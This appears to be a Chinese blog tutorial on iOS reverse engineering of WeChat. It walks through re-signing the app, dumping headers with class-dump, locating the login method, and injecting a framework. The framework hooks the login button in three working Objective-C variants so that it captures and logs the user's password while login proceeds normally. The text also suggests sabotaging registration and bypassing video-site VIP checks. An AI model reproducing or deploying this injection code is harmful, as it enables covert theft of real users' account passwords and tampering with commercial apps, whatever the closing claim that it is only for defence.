iOS 逆向 - 重签应用调试与代码修改 (Hook)

前言

本篇文章基于前两篇基础之上的 . 还没了解的同窗欢迎阅读 :面试

应用签名原理及重签名shell

shell 脚本自动重签名与代码注入bash

这两篇文章中花了不少篇幅来说解 签名重签代码注入 等等 . 那么重签了 wx 的应用包 , 咱们到底能不能拿来调试 , 能不能看到源代码 , 或者说 , 咱们重签名了到底有什么用呢 ?微信

本篇文章咱们一块儿来探索一下 .工具

"wx" 应用 '源代码' 提取

准备工具

class-dump 提取码 : kjjspost

class-dump 这个工具能够将 Mach-O 中的类的描述 copy 出来 . 能够理解成把头文件提取出来 , ( 但也不只仅是头文件 ) .网站

提取

打开咱们下载的越狱微信 ipa . 转 zip 解压 , Payload - WeChat 显示包内容 , 找到 WeChatMach-O 源文件 . 复制出来到 class-dump 同路径下 .ui

cd 到这个目录下 , 执行 :spa

./class-dump -H WeChat -o ./headers/
复制代码

执行完毕 :3d

其实其原理就是 根据 Mcah-O 中类的描述 , 属性 , 方法 . 进行整理 , 而后生成 , 写入 .

咱们看到了一万多个头文件 . 这里推荐一个方便查看与搜索的工具 .

Sublime

直接把 headers 文件夹拖入 Sublime .

你就能够随意浏览了 . 后期会再考虑是否摄入汇编代码部分 .

代码修改 ( 破坏 / 窃取 ... )

需求 1 : 破坏注册功能

这个需求比较简单 , 实现思路就是代码注入的方式 , Hook 注册按钮的方法 . 修改成本身的方法便可 , 就不演示了 .

咱们来演示个有点意思的.

需求 2 : 获取用户登陆密码 但保持其登陆功能

咱们来一步步玩一下 .

1 重签名工程

准备好重签成功的工程 , 没有作代码注入的 , 就写一个 framework , 而后 shell 脚本里 yololib 作一下. cmd + r , run 起来.

记得检查一下 代码有没有注入成功.

2 找到登陆按钮方法

  • 来到以下页面 .

  • View Debug

左边选择窗口 , 选中登陆按钮 , 注意不要选中 上面覆盖的 imageview 了 , 绿的那个. 右边看 TargetAction .

注意 :

笔者这里是 Xcode 11 , 所以 TargetAction 都是地址 , 老版本的 Xcode 都是直接显示类名和方法名的 , 那么怎么办呢 . lldb .

3 Sublime 找到方法

  • 来到 Sublime 咱们打开好的源码中 , cmd + shift + F .

  • 搜索结果 , 白色框直接双击来到这个文件 , 找到方法 ( onNext ).

  • 找到这个方法 , 我有点懵逼 o((⊙﹏⊙))o , 为何呢 ? 这个方法没有参数 , 也就是说它并无把用户密码当成参数传递 , 固然咱们看属性也没有把密码当成一个属性 . 那咋办嘛 ?

4 找到密码输入框的控件

由于咱们要 Hook 的是 onNext 方法 , 那么在 onNext 方法中 , 咱们只有 self 这个隐式参数可用 . 所以咱们去找成员变量和属性 . 若是找不到 , 也能够用 subView 的方式 , 最恐怖的时候 咱们甚至要经过控制链去找 .

固然这里不用那么麻烦 , 优秀的 wx 工程师的命名规范为咱们很快找到一个 这个东西.

他显然不是一个 textField , 可是看起来和输入框有点关系 . 那咱们去看看这个类 .

5 搜索 WCAccountTextFieldItem

cmd + shift + F@interface WCAccountTextFieldItem

里面好像没有看到 textField , 不着急 , 沿着继承链 , 找父类 WCBaseTextFieldItem.

6 搜索 WCBaseTextFieldItem

cmd + shift + F@interface WCBaseTextFieldItem

是否是看到了这个 tf .

那么咱们来回顾一下 .

onNext 方法中 咱们经过 self._textFieldUserPwdItem.m_textField 就能够拿到输入框 , 而后再 .text , 不就拿到用户密码了吗 ?

想通了那就开始干 ?

NO !

注意 : 在逆向调试的过程当中 , 想通了不必定表明走的通 , 那这时候若是去撸代码 , 极可能会白干.

那么怎么办呢 ? lldb 动态调试一下.

7 动态调试

  • View Debug , 找到 vc , 拿到地址 .
  • 经过 valueForKey , 找到 _textFieldUserPwdItem , 拿到 WCUITextField , 拿到其 text

验证经过 , 开干

8 代码注入

打开咱们本身注入的 framework , 来到 load 方法开始 hook , 具体代码逻辑我就不详细介绍了 .

大概总结一下 :

将登录按钮的方法换成咱们的方法 , 在咱们拿到密码后在调用微信本来的方法继续执行 .

代码我也贴一下 .

注意:

这里若是使用 method_exchangeImplementations 有个须要注意的点 , 平时咱们大可能是在分类中作 hook , 那么 hook 以后 , 原先的类再访问咱们本身在分类中定义的方法是没有问题的 , 由于分类自己就是扩展 在本来类的方法列表就会有这个你本身定义的方法.

可是 , 在此时咱们本身注入的 framework 就不行了 , 由于咱们把 onNext 方法的 imp 换成本身的方法 , 微信调用 onNext 来到咱们的方法实现 , 是没问题的 . 但当咱们拿到了密码想让其访问原方法 , 这个时候调用的是给 VCmy_onNext 的消息 , 那确定是找不到的 , 而若是是咱们正向开发使用分类就没这个问题了 , 这也是咱们为何常用分类来作 hook 的主要缘由 , 面试再碰到不要再回答 什么污染 什么效率了...

解决办法也很简单 , 这里我都给你们敲了一遍 贴出来了

    1. 给本来类添加一个方法 . class_addMethod ( 比较麻烦 )
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"代码注入成功!");
    
    //原始微信的登陆方法
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));

    //添加新方法
    /** * 一、给哪一个类添加方法 * 二、方法编号 * 三、方法实现(地址) */
    BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext, "v@:");
    //交换
    method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
    
}

//方法实现IMP
void new_onNext(id self,SEL _cmd){
    //拿出用户的密码
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到用户的密码是%@",pwd.text);
    //登陆
    [self performSelector:@selector(new_onNext)];
}

@end
复制代码
    1. 使用替换
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"代码注入成功!");
    
    //使用替换
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
    class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}

// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);

//方法实现IMP
void new_onNext(id self,SEL _cmd){
    //拿出用户的密码
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到用户的密码是%@",pwd.text);
    //登陆
    old_onNext(self,_cmd);
}
复制代码
    1. 使用 getImp / setImp ( 最简单 )
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"代码注入成功!");
    //getIMP 和 setIMP
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
    method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}

// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);

//方法实现IMP
void new_onNext(id self,SEL _cmd){
    //拿出用户的密码
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到用户的密码是%@",pwd.text);
    //登陆
    old_onNext(self,_cmd);
}
复制代码

其实 二和三的原理就是仅仅把 微信原方法 onNextimp 保存一下 , 而后换成咱们本身的 , 在调用咱们本身的方法以后再直接调用一下保存的 imp . 是否是超级简单呢 ?

为何要讲这么多种方法呢 . 一是方便你们理解 , 另外后面咱们会介绍一个专门来作 Hook 的工具 , 这个工具大部分都是直接使用的 getIMPsetIMP . 你们敬请期待吧 😆.

运行

  • 控制台拿到密码.
  • 页面上正常调用微信登陆

这里简单模拟了一个需求 , 来实现了一下 , 主要是将这种方式介绍给你们 , 能实现什么 , 你们能够本身去玩一玩 , 例如能否绕过某些视频网站开通 vip 呢 ? 或者其余想法 .

固然 , 仍是那句话 : 玩逆向 只是为了防御 .

相关文章
相关标签/搜索